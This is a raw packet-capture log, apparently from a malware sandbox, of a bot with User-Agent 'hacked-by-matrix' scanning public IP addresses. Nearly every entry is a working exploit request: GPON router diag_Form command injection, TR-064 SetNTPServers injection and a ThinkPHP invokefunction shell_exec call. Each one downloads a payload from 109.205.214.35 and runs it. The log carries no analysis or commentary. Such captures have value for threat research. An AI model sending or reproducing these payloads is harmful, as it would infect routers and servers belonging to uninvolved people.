Mar 21, 2024 05:17:45.277358055 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:45.778331041 CET	354	IN	HTTP/1.1 400 Bad requestConnection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Header 'Host' is missing.</title></head><body><h1>Header 'Host' is missing.</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.13	33948	184.19.218.134	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.325244904 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.13	48734	99.248.63.106	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.352202892 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.13	49346	112.28.236.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.528201103 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:45.942301989 CET	189	IN	HTTP/1.1 404 Not Found Content-Length: 0 X-NWS-LOG-UUID: 6436791184606920364 Connection: close Server: lego_p29 Date: Thu, 21 Mar 2024 04:17:45 GMT X-Cache-Lookup: Return Directly
Mar 21, 2024 05:17:46.168787003 CET	1	IN	Data Raw: 0d Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.13	45872	42.10.203.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714174032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.13	40788	94.25.140.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714215040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.13	48618	79.73.234.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714248896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.13	43580	5.91.209.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714329004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.13	43642	79.245.84.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714369059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.13	54738	42.195.230.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714369059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.13	36310	2.134.166.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714404106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.13	36254	5.147.84.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714446068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.13	49860	178.244.85.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714463949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.13	50714	37.21.38.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714479923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.13	48834	118.64.42.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714504004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.13	55244	210.97.97.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714545965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.13	52932	109.86.220.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714567900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.13	45534	178.184.39.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714600086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.13	50512	210.117.248.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714617014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.13	34152	42.170.158.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714668989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.13	57796	42.58.70.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714668989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.13	49378	212.96.138.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714714050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.13	38128	5.3.93.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714721918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.13	59878	212.26.249.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714765072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.13	60878	79.74.196.31	443

Timestamp	Bytes transferred	Direction	Data
